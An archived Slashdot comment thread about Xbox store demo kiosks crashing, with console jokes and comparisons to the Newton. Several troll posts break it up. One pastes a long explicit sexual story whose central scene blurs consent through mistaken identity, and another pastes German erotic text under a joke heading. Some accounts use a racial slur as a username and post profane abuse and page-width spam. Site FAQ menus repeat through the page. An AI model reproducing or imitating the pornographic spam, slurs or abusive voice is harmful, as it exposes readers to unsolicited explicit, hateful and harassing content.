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Crashing Xbox Kiosks

CmdrTaco posted more than 11 years ago | from the thats-pretty-damn-funny dept.

Games 662

quannump writes "Gaming Age has an article up about some stores, including Toys R Us and Babbages, Xbox kiosk crashing at various places across the country. "Out of five stores that have playable demos within a ten mile area, only two have working units," says one Babbage's employee." It's funny because it's Microsoft. Get it? It's... oh never mind. Is DOA3 still planned as x-box only?

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pristt frostt (-1, Offtopic)

Anonymous Coward | more than 11 years ago | (#2466720)

bitchin

new msoft strategy? (0, Troll)

macsox (236590) | more than 11 years ago | (#2466727)

maybe, after years of calling crashes and bugs "features", microsoft is now calling them "games".

Re:new msoft strategy? (2, Funny)

Leif_Bloomquist (311286) | more than 11 years ago | (#2466871)

My favorite Microsoft games are Minesweeper and Regedit.

turd boast (-1)

Sexual Asspussy (453406) | more than 11 years ago | (#2466729)

enjoy fucko

Aimee was bending over, with a plastic bag in hand picking up dog poop when a pair of tanned, muscular male legs
came running up the drive behind her. She'd had to wake up an hour early to get her sister's dog Jake walked and
beat the traffic to her end of town. And of course, Jake headed straight for the neighbor's yard the minute they'd
started their morning run.

Aimee's sister, Anna had called in a rush the day before to ask her to dog-sit Jake, their golden retriever. Anna and
her husband Jeff were flying over seas to Europe, on the spur of the moment. Jeff had some business there and
Anna couldn't stay behind for some reason.

Anna assured Aimee she would make all the arrangements with the neighbors so they knew Aimee would be
house-sitting. All Aimee had to do was pick up a key next door with Mrs. Jenkins. Anna had said, come and sleep in
our guest room, swim in our pool, drink our wine, watch our dog. In other words, Aimee thought, Anna was really
saying to her, you are single and can drop your poor excuse for a life and come and baby-sit our life so we don't
have to pay someone to do it.

Aimee twisted the bag outside in and tied it. The muscular legs approaching were attached to a matching body that
was tall, dark and ripped. She eyed the man whose yard she was standing in while holding a bag of dog poop. So
much for shaking hands with him.

Shit, Anna had been holding out on her. She'd told her the neighborhood was full of retirees. Aimee was getting
ready to say something when Jake yanked the leash out of her hand and rushed the man.

"Jake!!! Damn it Jake." Aimee cussed.

"What?" he answered. The man looked truly annoyed with her.

"I'm sorry," he said. "I'll try not to prolong this. He is just saying hi." Jake had his paws up on the man's stomach.
His muscled, sweaty stomach led to hips a girl could wrap her legs around. Aimee snapped herself out of it.

"Oh I know. It's just?" She started. The man looked at her rather intensely and then glanced Anna's house.

"Awkward, I know?" He finished her sentence for her. "Look I better get going."

"Oh, okay," Aimee answered a little disappointed.

She wanted to talk to him a little longer. His legs and chest were glistening with sweat from his run. Dark springy
covered his chest and trailed down into his shorts. She licked her lips and looked up to his face. He had been
watching her tracing his hair patterns with her eyes. And he looked just a little mad about it.

"Here, take Jake. I've got to go," he said. He almost threw the leash at her before stalking off.

Aimee started off to the road thinking he was either uptight or gay. She passed the mailbox and read the name,
Jake Morris. What else should she expect from a man who had a dog's name?

After one very long day, with two long commutes and another very long dog walk, Aimee decided she would rev up
the hot tub. As she wandered her sister's house, she decided that it really was a nice house-- enough bedrooms
for one extra and an office, a small garage and an enclosed hot tub and pool.

When she'd called, Anna had been full of news but had been telling very little of it. She had alluded that everything
wasn't quite right but said she would explain when she and Jeff got back. Anna also said Jeff had put the house up
for sale and wouldn't say why. It was the perfect house for a new couple starting out.

Aimee asked if it was haunted and Anna just laughed and told her it was something like that. As long as it wasn't
haunted, Aimee was thinking about buying the house herself.

About midnight, Aimee grabbed a glass of wine, stripped down and padded out the hot tub wrapped in only a
towel. She turned the dials and managed to get the jets running. She flipped the outside light off and lit a candle
near the tub. In the cover of darkness, she slipped naked into the foaming tub.

The house wasn't far enough outside of the city limits to really see the stars well but a few shone through the smog
and the haze. When she looked back on it later, Aimee was never sure how long it was before she heard and saw
something move in the bushes. Where she had been lethargic from the wine and the long day, she was suddenly
alert. She wondered wildly about her Anna's comments about the house being something like haunted.

"Who is it?? Jake?? Get over here." Aimee whispered in the dark for the dog.

"Shhh? That is what I am working on," a voice answered her from of the bushes.

"What? Oh, it's you." Aimee watched Jake, the man emerge from the bushes. She couldn't really get up out of the
tub. Jake, the dog had finally come to investigate. He wagged his tail at the intruder.

"Is Jeff around?" Jake asked. He nodded toward the house.

"Oh, no. I'm sorry. He's in Europe." Aimee said.

"Good, that's great." Jake said.

He was heading toward one of the doors of the screened enclosure. Aimee was trying to figure out how she was
going to stand up, get her towel and open the screen door for him when she saw him slip a key from the ledge over
the door and let himself in.

"I didn't realize that key was there? " Aimee sat back and crossed her arms in front of her chest.

"Yeah. I guess Jeff didn't either." Jake said. He walked over to the hot tub.

"Would you like to come in?" Aimee asked, thinking the offer was a little belated.

"Yeah. I would." Jake answered and pulled off his t-shirt. He kicked off his running shoes and peeled his shorts off.

Aimee sipped wine with a raised eyebrow and watched the man strip down to the skin completely unashamed and
slip into the tub beside her. He was even better looking naked with the candlelight washing over him.

"Wow. You aren't shy, are you?" Aimee said and took another sip of her wine.

"You're drinking?" Jake asked. He moved close to her.

"Yes, wine," she answered him. Aimee wasn't shy but she wasn't ready to walk naked across the pool enclosure to
offer the man a glass of wine. She handed him the glass instead.

"Would you like some?" she asked.

Jake took her glass and sipped it. Then, handed it back. She sipped again and he bent and kissed her earlobe. Aimee
turned her head and kissed him. He tasted a little like wine and little like toothpaste. She liked the idea that he
brushed his teeth before coming over.

The kiss ended with the hot tub's cycle, the bubbles fizzling to a stop around them. For a moment Jake and Aimee
were quiet while she watched him. He really was a damned fine looking man. It just figured that Anna had been
holding out on her by not telling her about her neighbor.

"Hold on Jake, I'll hit the timer again," Aimee told him.

She set the wine glass down on the side of the tub and climbed up on one of the benches and reached for the hot
tub dials. Aimee closed her eyes and tried not to think about her naked ass in the air as she bent and turned the dial.
The tub hummed to life and Aimee didn't hear Jake come up behind her. He pulled her by her hips back down into
the tub.

"You are gorgeous, you know that?" Jake held her body to his in the center of the tub.

His mouth was on her ear. His hands were all over her, on her stomach, breasts, thighs, pushing her back against
him. Aimee wanted to tell him he wasn't so bad himself but his hand slipped down to her pussy and he found her clit
and rolled it between his thumb and finger. Aimee thought, Oh fuck it, he probably knew he was beautiful. She
moaned instead. Jake pulled her legs apart and then plunged his cock into her pussy from behind.

"Oh Jake?"Aimee moaned.

"I know? I know. I've been thinking about doing this since this morning," Jake told her.

"I wanted you too, Jake," Aimee said.

Jake moved her with him and put her hands on the side of the tub. "Hold on to the side and put your knees up here,
baby," he said.

Aimee was on her knees on the perimeter bench of the tub holding the side for balance. The water was shooting
around her and the point where they were joined was just above water. Jake gripped her hips and pushed up into
her slowly, leisurely.

"When I saw you this morning bent over in my yard with your ass in the air I wanted to drag you into the house and
fuck your blond little brains out," Jake told her.

Aimee moaned and pushed her hips back to meet him. "Oh yeah?" Aimee moaned.

"Lean forward and put your weight on the side of the tub and arch your back," Jake told her and pulled out.

"I want to see you with your ass in the air again," Jake said.

Aimee followed his lead and was bent over the side of the hot tub, with her ass in the air. She held her breath as
she felt his mouth start to lick her pussy and travel up to the top of her crack. His hands gripped her cheeks,
squeezing them and pulling them apart. He held her ass open and she could feel his breath and the night air on her
backside. Her senses were heightened by the fact that she was wet all over-- outside and in. Aimee was biting her
bottom lip, completely unsure of what to do next when she felt his tongue circling her asshole and press into it.

"Oh my god, Jake? " Aimee said.

She wasn't sure whether she should crawl away or push back into his mouth. Since it felt incredible and she was
starting to melt, she reached back and pulled her cheeks apart for him. Jake worked her little bud open with his
mouth a little more aggressively before pulling back. He gripped her hips with both hands.

"Anna, you are so hot," Jake said.

"Ohh. Yeah.. WHAT??" Aimee exclaimed.

Jake dipped his cock into the hot tub and then began pushing into Aimee's ass.

"Anna? baby, I missed you?" Jake groaned as he pressed up her tight backdoor.

"What? awww.. fuck! Jake?" Aimee exclaimed.

Aimee's mind was trying to assimilate everything that seemed to be happening at once. His cock was invading her
virgin asshole and he thought she was her sister, Anna. Anna-- who really was holding out on her. Big time. Aimee
wanted to find a way to resist him but couldn't find seem to find the muscular center to do it. His cock hurt and at
the same time, it didn?t. She wanted him to stop and at the same time, she really didn't.

"I know Anna baby. I know," Jack answered her. "Your ass is so fucking tight tonight, Anna."

He pumped slowly, pulling out a little and then pushing in further with each stroke. She was like a glove gripping his
cock. Jake was slowly wedging himself up her ass. Before long, he was in her ass to the hilt. Aimee whimpered a
little. Having him up her ass was an incredible turn on. She felt virginal and nasty all at once. And it seemed like his
cock throbbed back there.

"C'm here baby," Jake said. He pulled her back up against him and turned around so she was sitting on his lap, her
ass impaled on his cock.

He gripped her hips and she sat slightly between his legs. His cock was felt foreign, solid and so present in her ass.
She needed to do something. If he didn't move soon, she was going to go a little crazy. She constricted her ass
around his cock and thought to herself, oh yeah. That's exactly it.

"Ahh? I can?t believe you are so tight tonight," Jake whispered in her ear. "Wait a minute. Why are you so tight
tonight?

Aimee looked back at him over her shoulder and smiled.

"Hmm. There is a very good reason for that Jake." She tightened her grip on his cock with her ass and then
released it.

Jake was looking at her, scrutinizing. "And what? ugh?. is that reason?" He asked. He could barely talk when she
did that. He wondered where she learned that little trick. She was beginning to really milk his cock with her ass.

"Well, why do you think Jake? Maybe because I'm not Anna?" Aimee answered. She watched his face over her
shoulder.

"Oh no. Oh fuck!" Jake started to push her off but she gripped him again. He wanted to push her off his cock but
her ass was like a constrictor. Anna's ass had never felt like this.

"No! No, don't stop. I mean, I kinda like it." Aimee wiggled her ass on his cock.

"Who the fuck are you?" Jake demanded.

"Anna's sister, Aimee." She answered moved her hips in a circle.

"Wait. Stop moving a minute. The twin?" Jake said. He sounded a little horrified.

His cock in her ass was like a loose tooth she couldn't keep her tongue away from. Aimee started to milk him again.

"Yeah. That's me," Aimee murmured and moved on his cock a little, fucking him. "Mmmm. And, oh yeah, Jake?"

"What?" he answered. He was relaxing a little, it sounded

"Are you going to fuck me tonight?" Aimee asked and moved her ass in a small circle.

"Do you still want me to?" Jake asked.

"Oh yeah, definitely," Aimee answered.

"Then yeah. I'm going to fuck you. As soon as possible and as hard as possible," Jake said.

The water gave her buoyancy and he pushed her up and pulled her back down on his cock. He held her hips and
started to change positions again.

"Aimee baby, I'm going to turn around again and you get on your knees like before," Jake said.

Aimee bent over the side of the tub, her knees on the bench with the front of her thighs pressed against the side
to brace herself. Jake gripped the side of the tub and began to pump in and out of her ass.

Aimee grunted as his speed increased until he was pounding into her ass. She supposed the cliché of his balls
beating up against her could have been a reality but she couldn't tell with the waves of water from the hot tub
washing out over her. What she could tell was an orgasm was starting to build at the base of her spine and was
spreading through her legs. What sent her over the edge was feeling Jake's cock jerking as he came deep in her ass.

When Anna and Jeff came back, Aimee bought their house. Anna's ghost and all.

So, um... (0, Troll)

Wakko Warner (324) | more than 11 years ago | (#2466735)

...bets on how much money Microsoft will lose on the XBox? This could be their very own Newton.

- A.P.

Re:So, um... (1)

jiheison (468171) | more than 11 years ago | (#2466814)

This could be their very own Newton.

Better yet, their very own Jaguar 64. (Or possible 32X?)

Re:So, um... (1)

hublan (197388) | more than 11 years ago | (#2466857)

...bets on how much money Microsoft will lose on the XBox? This could be their very own Newton.

Let's do some rough maths. MS allegedly has around $20 billion in cash reserves (that's cash, not stocks) plus or minus. Let's say each X-Box costs around $400 to manufacture.

Now, 20,000,000,000 / 400 = 50,000,000.

This means that they should be able to give nearly every household in America at least one machine.

Heck! They should just give everyone $400 in cash!

Re:So, um... (0, Offtopic)

aussersterne (212916) | more than 11 years ago | (#2466861)

The difference being that Newton was a great product which actually worked. The only two bad things people can generally name about Newton are a) the handwriting recognition, which was actually very good (better than anything for CE or Palm today) but first needed time to "learn" your handwriting and b) the infrared, which can't be blamed on Apple since it was implemented before current IrDA standards were even complete.

And by the Newton 2000/2100 series, these things were all fixed -- the handwriting recognition was actually good out of the box, and the device would then continue to learn even more, and software is available to allow Newton 2000/2100 machines to interoperate using infrared with, for example, Palm devices.

Newtons don't crash all the time, lose your data, or have a totally inelegant and mis-matched operating system for the task at hand. In fact, my Newton 2100 has *never* crashed on me in all the years I've used it, while a CE 2.11 HPC Pro I used for a few months crashed and required a hard reset almost daily, not to mention that the Newton's NOS 2.1 was incredibly well-designed as a PDA operating system while CE was so klunky it took lots of taps an arm movements to perform the simplest tasks.

Then there's the fact that Newton was way ahead of its time, a paradigm-shifter, a visionary device when it was first released and which the industry wouldn't fully understand and follow properly until years later, while XBox is just yet-another-game-console-with-optional-peripherals without an original idea in it.

Newton didn't fail on its own terms, it was in the black when it was killed. Maybe XBox is a lousy product (in fact, I think most people would bet on it), but don't compare it to the Newton.

DOA3 (0, Funny)

argonaut (37085) | more than 11 years ago | (#2466736)

I believe it is for X-Box only, according to the local "Software, Etc." employees. BTW, their kiosk is working (for now).

FOAD (-1)

Sexual Asspussy (453406) | more than 11 years ago | (#2466802)

you prong-polishing asspump, this is even less funny than that story about the two dead postal workers. pipe up again when you actually have something to contribute, fuckhole.

Re:FOAD (1)

argonaut (37085) | more than 11 years ago | (#2466841)

You seem to be under the impression I had something to do with my own score. You may want to try therapy.

Re:FOAD (1)

amuro98 (461673) | more than 11 years ago | (#2466888)

Hey, watch it!

I know you didn't have anything to do with your score. The question was to the moderators - not the poster (you.)

Re:DOA3 (1)

amuro98 (461673) | more than 11 years ago | (#2466854)

It may be XBox only for now, but considering DOA2, I expect that we'll be seeing DOA3 on PS2 and maybe Gamecube down the road.

(btw, why was this parent marked as 'funny'?)

A gamer's point of view... (4, Funny)

bflong (107195) | more than 11 years ago | (#2466743)

Wow! I've never seen *this* level before!
I must have fallen into some opaque blue liquid.
I hope I can swim to the top before I drown...

Xbox Crash (4, Interesting)

Gildenstern (62439) | more than 11 years ago | (#2466745)

I was playing one at Software Etc on Saturday.
It was some car driving game. I played for about 5 minutes when I tried to restart the race. The box locked up solid.

Now I know it was probally getting abused but I dont't think that it should have done that.

And actually I wasn't that impressed by the graphics. I think my Tbird 1.4 with my Gforce 3 is much better

Re:Xbox Crash (3, Informative)

Dimensio (311070) | more than 11 years ago | (#2466794)

I don't disagree regarding the graphics. The only playable demo at the local software stores where I live is Munch's Oddysee. I know that it's a first-gen game but I remember many first-gen PS2 games that looked better (better texture quality, mostly).

The rest of the disc was just "non-interactive", and I try not to judge game footage based upon console FMV -- there is always significant degredation of the image quality. Still, it didn't impress me terribly, didn't look like anything I'd want to play.

Re:Xbox Crash (0)

Anonymous Coward | more than 11 years ago | (#2466815)

It must have looked pretty bad if the PS2's texture quality is better. The PS2 has the worst texture quality since the PS1, even the 3DO has better looking textures.

Re:Xbox Crash (-1)

Goddamn Niggers (522154) | more than 11 years ago | (#2466850)

Go ahead, ban this account, too. I'll just post more crap and mess with the page width more. Enjoy, Taco.


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Did anyone say "page width?" (-1)

TrollMan 5000 (454685) | more than 11 years ago | (#2466885)

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Have you ever thought about hiding comment scores when people are moderating? It might help alleviate "Group Think."
I have a suggestion for improving moderation.
What about other moderation models such as those used by Kuro5hin, everything2, or advogato.org?
Will some of the subsections spin off as sites in their own right? For example, it would be cool if the YRO section were to hit dead tree form in some way like soon. It's too important to remain outside the radars of 9-5ers in Pleasantville.

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Re:Xbox Crash (-1)

Goddamn Niggers (522154) | more than 11 years ago | (#2466886)

LOL, this is really pathetic banning evil_spork, knowing I'll just post more crap from another account. Taco, you cannot stop me, you can only hope to contain me.


    • WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW


TACO CAN SUCK MY BALL BAG!! (-1)

TrollMan 5000 (454685) | more than 11 years ago | (#2466931)

TACO CAN SUCK MY BALL BAG!!

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I have a question that is not answered in this FAQ. What should I do?

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At various points in this FAQ and elsewhere, you've mentioned a "TODO list." Is this available for public viewing?

Editorial
How do I submit stories to Slashdot?

Can I submit a story anonymously?

How do I "Ask Slashdot?"

Why didn't you post my story?

Why hasn't my story been accepted or rejected yet?

Why do some stories show up in the index, but not on the homepage

My story submission was "accepted", how come I never saw it?

Sometimes I see duplicate stories on Slashdot. What's up with that?

I submitted that a month ago!

Someone else got credit for a story I submitted!

I want to write an editorial. What should I do?

I want to write a book review. What should I do?

Why is your grammar/spelling so bad?

Why did you post story X?

How do you verify the accuracy of Slashdot stories?

Slashdot seems to be very U.S.-centric. Do you have any plans to be more international in your scope?

Would you be interested in creating mirror sites in other languages and have people translate articles? Different articles for different sites?

"The Omelette"
UI
I want a Slashbox that does X
What is this little [?] I see in stories?
How can I see old stories?
Comments and Moderation
What's up with flat/threaded/nested comments?
Why did my comment get deleted?
Why did it take so long for my comment to appear?
What's up with "First Post" comments?
Comment posts are getting crappy. What are you doing about it?
Moderation seems restrictive. Is it really necessary?
Most of the trolls and useless stuff comes from "Anonymous Coward" posters. Have you thought about eliminating anonymous posting?
Doesn't this open posting policy ever get you into trouble?
How did the moderation system develop?
How does moderation work?
What are thresholds?
What is karma?
Is there a limit to how much karma you can accumulate?
It seems unfair that I can't get any more karma than that even if I earn it.
Why didn't I get karma for a Quickie or a Slashback story?
What is karma Good For?
Why is my karma not what I expect?
Whenever I use my +1 Bonus, I get moderated down and lose karma!
I just got moderator access. What do I do?
Why can't I moderate any more?
Why don't you give moderators unlimited moderator access to 5 stories instead of giving them just 5 points?
I found a comment that was unfairly moderated!
What about separating the rating (+1,-1), from the qualifier (off-topic, informative)? Often times a post may be flamebait, but of excellent quality, nevertheless.
Is this censorship?
Has anyone been, or will anyone be banned from Slashdot
I found a comment rated -2 or 6!
What is a good comment? A bad comment?
3 days is not enough time to moderate!
If I post in a discussion I moderated, why don't I get my points back?
How can I improve my karma?
Lots of early posts that "seem" to be informative/insightful and get modded up when they really shouldn't be. If the author sounds confident, people seem to just give him points. By the time an actual informative post makes it in, it's too late to go back. How could you accommodate this in the moderation system?
What sorts of anti-troll filters exist?
Why can't I search or filter archived stories?
Meta-moderation
What do these M1 and M2 abbreviations mean?
What is M2?
Why was M2 started?
Who can M2?
How can I M2?
How often can I M2?
How does M2 affect the moderator's karma?
How often do moderations appear for M2?
Why are there duplicate comments?
Why isn't there a link to M2 on my index.pl?
How should I M2 if the M1er called it "Insightful" and I think it should be "Informative?"
Can I post to stories I'm M2ing?
Does M2 affect my karma?
Accounts
Can I change my nickname?
How do I change my password?
How can I delete my account?
I forgot/can't get my password!
I'm having trouble logging in.
I don't want to accept a cookie!
Someone is posting under a false identity, or an account designed to look like someone else!
Why do I keep getting randomly logged out?
About Slashdot
Who does this?
What does the name "Slashdot" Mean?
Do Rob and Jeff ever regret the decision to sell Slashdot?
Now that you have sold it, does this mean you've become corporate drones?
If you're not corporate drones, whose idea was the Slashdot PT Cruiser?
I would like Slashdot to...
A lot of people have the impression you spend more time arguing with the Slashdot readers than listening to them. Do you think this is true, and if not, why do so many people have this idea?
A lot of Slashdot readers don't feel sufficiently included in how things are done. Is there any possibility of getting more meta-discussion about Slashdot happening?
How much traffic does Slashdot serve?
Why has Slashdot become so successful?
Where did the nicknames "CmdrTaco" and "Hemos" come from?
Why do reporters care where your nicknames come from?
What is this "Free Speech/Free Beer" thing that I see discussed in the comments?
What is the "Slashdot Effect?"
What's the coolest story Slashdot's ever had?
Will there be any more episodes of "Geeks in Space"?
What's your exact attitude about the hidden sids?
Tech
What kind of hardware does Slashdot run on?
Why doesn't Slashdot display in browser X?
Where/why do you use cookies?
What kind of logging does Slashdot do with regard to its readers?
Can I have your poll scripts?
Why are you generating so many pages dynamically?
What about the source code to this site?
If you were just starting to code Slashdot.org today, what would you code the site in PHP or mod_perl?
Do you guys ever worry that some site might steal Slashcode and try and outdo Slashdot?
How did it feel when you opensourced slashcode, allowing people to tinker with your 'baby' as it were? Are you still involved with the process as much, or is your time taken up by reading email and such?
What's the biggest benefit to come out of the opening of Slash so far? Better efficiency? Tighter security?
Advertising
Can I advertise on Slashdot?
What is AdFu?
Why aren't you using AdFu any more?
A banner ad is screwing up my browser!
Suggestions
How about an NNTP news gateway?
Have you considered rewriting Slashdot in C?
Have you considered PHP?
How about a page for rejected or pending story submissions?
How about giving us a reason for rejecting submissions?
How about allowing readers to directly administer the submissions bin?
How about an AvantGo channel, or some other PDA interface?
How about a WAP interface?
Getting the Slashdot headlines by 'finger @www.slashdot.org' would be nice, don't you think?
Slashdot should cache pages to prevent the Slashdot Effect!
Is is possible to have META tags that Slashdot looks for in a story link before allowing it to be submitted/posted? Many times a server can't handle the load of a Slashdotting. So can the site have tags to prevent it from being added to a slashdot story?
It seems that many moderators, because of the way they read comments, (higher thresholds, older comments first), only see comments that are posted with a bonus, or have already been moderated up. Wouldn't it make more sense to require moderators to read at a threshold of 0 with newest comments first?
Have you ever thought about hiding comment scores when people are moderating? It might help alleviate "Group Think."
I have a suggestion for improving moderation.
What about other moderation models such as those used by Kuro5hin, everything2, or advogato.org?
Will some of the subsections spin off as sites in their own right? For example, it would be cool if the YRO section were to hit dead tree form in some way like soon. It's too important to remain outside the radars of 9-5ers in Pleasantville.

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Can I submit a story anonymously?

How do I "Ask Slashdot?"

Why didn't you post my story?

Why hasn't my story been accepted or rejected yet?

Why do some stories show up in the index, but not on the homepage

My story submission was "accepted", how come I never saw it?

Sometimes I see duplicate stories on Slashdot. What's up with that?

I submitted that a month ago!

Someone else got credit for a story I submitted!

I want to write an editorial. What should I do?

I want to write a book review. What should I do?

Why is your grammar/spelling so bad?

Why did you post story X?

How do you verify the accuracy of Slashdot stories?

Slashdot seems to be very U.S.-centric. Do you have any plans to be more international in your scope?

Would you be interested in creating mirror sites in other languages and have people translate articles? Different articles for different sites?

"The Omelette"
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I want a Slashbox that does X
What is this little [?] I see in stories?
How can I see old stories?
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Lots of early posts that "seem" to be informative/insightful and get modded up when they really shouldn't be. If the author sounds confident, people seem to just give him points. By the time an actual informative post makes it in, it's too late to go back. How could you accommodate this in the moderation system?
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How about a WAP interface?
Getting the Slashdot headlines by 'finger @www.slashdot.org' would be nice, don't you think?
Slashdot should cache pages to prevent the Slashdot Effect!
Is is possible to have META tags that Slashdot looks for in a story link before allowing it to be submitted/posted? Many times a server can't handle the load of a Slashdotting. So can the site have tags to prevent it from being added to a slashdot story?
It seems that many moderators, because of the way they read comments, (higher thresholds, older comments first), only see comments that are posted with a bonus, or have already been moderated up. Wouldn't it make more sense to require moderators to read at a threshold of 0 with newest comments first?
Have you ever thought about hiding comment scores when people are moderating? It might help alleviate "Group Think."
I have a suggestion for improving moderation.
What about other moderation models such as those used by Kuro5hin, everything2, or advogato.org?
Will some of the subsections spin off as sites in their own right? For example, it would be cool if the YRO section were to hit dead tree form in some way like soon. It's too important to remain outside the radars of 9-5ers in Pleasantville.

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What is this document?

I have a question that is not answered in this FAQ. What should I do?

Who is responsible for the FAQ?

At various points in this FAQ and elsewhere, you've mentioned a "TODO list." Is this available for public viewing?

Editorial
How do I submit stories to Slashdot?

Can I submit a story anonymously?

How do I "Ask Slashdot?"

Why didn't you post my story?

Why hasn't my story been accepted or rejected yet?

Why do some stories show up in the index, but not on the homepage

My story submission was "accepted", how come I never saw it?

Sometimes I see duplicate stories on Slashdot. What's up with that?

I submitted that a month ago!

Someone else got credit for a story I submitted!

I want to write an editorial. What should I do?

I want to write a book review. What should I do?

Why is your grammar/spelling so bad?

Why did you post story X?

How do you verify the accuracy of Slashdot stories?

Slashdot seems to be very U.S.-centric. Do you have any plans to be more international in your scope?

Would you be interested in creating mirror sites in other languages and have people translate articles? Different articles for different sites?

"The Omelette"
UI
I want a Slashbox that does X
What is this little [?] I see in stories?
How can I see old stories?
Comments and Moderation
What's up with flat/threaded/nested comments?
Why did my comment get deleted?
Why did it take so long for my comment to appear?
What's up with "First Post" comments?
Comment posts are getting crappy. What are you doing about it?
Moderation seems restrictive. Is it really necessary?
Most of the trolls and useless stuff comes from "Anonymous Coward" posters. Have you thought about eliminating anonymous posting?
Doesn't this open posting policy ever get you into trouble?
How did the moderation system develop?
How does moderation work?
What are thresholds?
What is karma?
Is there a limit to how much karma you can accumulate?
It seems unfair that I can't get any more karma than that even if I earn it.
Why didn't I get karma for a Quickie or a Slashback story?
What is karma Good For?
Why is my karma not what I expect?
Whenever I use my +1 Bonus, I get moderated down and lose karma!
I just got moderator access. What do I do?
Why can't I moderate any more?
Why don't you give moderators unlimited moderator access to 5 stories instead of giving them just 5 points?
I found a comment that was unfairly moderated!
What about separating the rating (+1,-1), from the qualifier (off-topic, informative)? Often times a post may be flamebait, but of excellent quality, nevertheless.
Is this censorship?
Has anyone been, or will anyone be banned from Slashdot
I found a comment rated -2 or 6!
What is a good comment? A bad comment?
3 days is not enough time to moderate!
If I post in a discussion I moderated, why don't I get my points back?
How can I improve my karma?
Lots of early posts that "seem" to be informative/insightful and get modded up when they really shouldn't be. If the author sounds confident, people seem to just give him points. By the time an actual informative post makes it in, it's too late to go back. How could you accommodate this in the moderation system?
What sorts of anti-troll filters exist?
Why can't I search or filter archived stories?
Meta-moderation
What do these M1 and M2 abbreviations mean?
What is M2?
Why was M2 started?
Who can M2?
How can I M2?
How often can I M2?
How does M2 affect the moderator's karma?
How often do moderations appear for M2?
Why are there duplicate comments?
Why isn't there a link to M2 on my index.pl?
How should I M2 if the M1er called it "Insightful" and I think it should be "Informative?"
Can I post to stories I'm M2ing?
Does M2 affect my karma?
Accounts
Can I change my nickname?
How do I change my password?
How can I delete my account?
I forgot/can't get my password!
I'm having trouble logging in.
I don't want to accept a cookie!
Someone is posting under a false identity, or an account designed to look like someone else!
Why do I keep getting randomly logged out?
About Slashdot
Who does this?
What does the name "Slashdot" Mean?
Do Rob and Jeff ever regret the decision to sell Slashdot?
Now that you have sold it, does this mean you've become corporate drones?
If you're not corporate drones, whose idea was the Slashdot PT Cruiser?
I would like Slashdot to...
A lot of people have the impression you spend more time arguing with the Slashdot readers than listening to them. Do you think this is true, and if not, why do so many people have this idea?
A lot of Slashdot readers don't feel sufficiently included in how things are done. Is there any possibility of getting more meta-discussion about Slashdot happening?
How much traffic does Slashdot serve?
Why has Slashdot become so successful?
Where did the nicknames "CmdrTaco" and "Hemos" come from?
Why do reporters care where your nicknames come from?
What is this "Free Speech/Free Beer" thing that I see discussed in the comments?
What is the "Slashdot Effect?"
What's the coolest story Slashdot's ever had?
Will there be any more episodes of "Geeks in Space"?
What's your exact attitude about the hidden sids?
Tech
What kind of hardware does Slashdot run on?
Why doesn't Slashdot display in browser X?
Where/why do you use cookies?
What kind of logging does Slashdot do with regard to its readers?
Can I have your poll scripts?
Why are you generating so many pages dynamically?
What about the source code to this site?
If you were just starting to code Slashdot.org today, what would you code the site in PHP or mod_perl?
Do you guys ever worry that some site might steal Slashcode and try and outdo Slashdot?
How did it feel when you opensourced slashcode, allowing people to tinker with your 'baby' as it were? Are you still involved with the process as much, or is your time taken up by reading email and such?
What's the biggest benefit to come out of the opening of Slash so far? Better efficiency? Tighter security?
Advertising
Can I advertise on Slashdot?
What is AdFu?
Why aren't you using AdFu any more?
A banner ad is screwing up my browser!
Suggestions
How about an NNTP news gateway?
Have you considered rewriting Slashdot in C?
Have you considered PHP?
How about a page for rejected or pending story submissions?
How about giving us a reason for rejecting submissions?
How about allowing readers to directly administer the submissions bin?
How about an AvantGo channel, or some other PDA interface?
How about a WAP interface?
Getting the Slashdot headlines by 'finger @www.slashdot.org' would be nice, don't you think?
Slashdot should cache pages to prevent the Slashdot Effect!
Is is possible to have META tags that Slashdot looks for in a story link before allowing it to be submitted/posted? Many times a server can't handle the load of a Slashdotting. So can the site have tags to prevent it from being added to a slashdot story?
It seems that many moderators, because of the way they read comments, (higher thresholds, older comments first), only see comments that are posted with a bonus, or have already been moderated up. Wouldn't it make more sense to require moderators to read at a threshold of 0 with newest comments first?
Have you ever thought about hiding comment scores when people are moderating? It might help alleviate "Group Think."
I have a suggestion for improving moderation.
What about other moderation models such as those used by Kuro5hin, everything2, or advogato.org?
Will some of the subsections spin off as sites in their own right? For example, it would be cool if the YRO section were to hit dead tree form in some way like soon. It's too important to remain outside the radars of 9-5ers in Pleasantville.

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Sorry! (1)

DwarfGoanna (447841) | more than 11 years ago | (#2466748)

It was me. I just wanted to be the first to see what a blue screen looked like on such whomp hardware. All I did was plug in my digital camera. =)

MS JOKE +1 FUNNY MOD UP PLZ, THX (-1)

Proctal Relapse (467579) | more than 11 years ago | (#2466844)

Das Telefon klingelt.

Es ist Christian, mein bester Freund, der auch mit mir zusammen Abi macht.

"Ne, heute ist wirklich nicht so gut. Morgen wäre wesentlich besser."

Katja mischt sich ein. "Sag' ihm, er kann ruhig vorbeikommen. Um 15 Uhr." Ich nicke.

"Heute geht doch. ... 15 Uhr. ... Ja, bis gleich."

Katja frage ich: "Und, was willst Du mit ihm machen.?"

Sie grinst mich an: "Ich nicht unbedingt, aber da wird sich schon was finden." "Tut mir leid, aber das glaube ich nicht.
Der kann eure Clique nämlich auf den Tod nicht ausstehen."

"Der kann gar keine von uns leiden?" "Ne, nur Isabell vielleicht. Über die hab' ich ihn noch nie lästern hören,
ansonsten sieht es mau aus."

"Isabell?" "Ja, das ist doch die große Blonde mit den großen... ziemlich großen... mächtig großen... ."

Katja grinst: "Augen? Mit den großen Augen? Ja, das ist Isa. Gib' mal bitte das Telefon."

Sie wählt.

"Hallo, Frau Gerber. Ich bin's Kati. Ist die Isa da?"

Ich schalte die Lautsprecherfunktionn ein.

"Hallo Kati. Wie geht's? Hat alles so geklappt, wie Du es Dir vorgestellt hast?" "Ja, hätte nicht besser laufen können.
Hör mal, willst Du nicht auch einem Jungen heute die vollkommene, sexuelle Zufriedenheit schenken?

"Mach' ich gerade schon. Ich lieg' im Bikini und sonne mich. Der Nachbarsjunge sitzt oben am Fenster und
beobachtet mich einhändig. Ich glaub' der ist schon dreimal zur Toilette gelaufen. Aber jetzt muß ich wohl mein
Oberteil ausziehen um ihn bei der Stange zu halten."

Katja schüttelt lachend den Kopf. "Man kann über Dich sagen, was man will, aber Du bist eine richtig ordinäre
Schlampe." "Danke, ebenso. Was wolltest Du mir jetzt vorhin für 'ne Geschichte ezählen?"

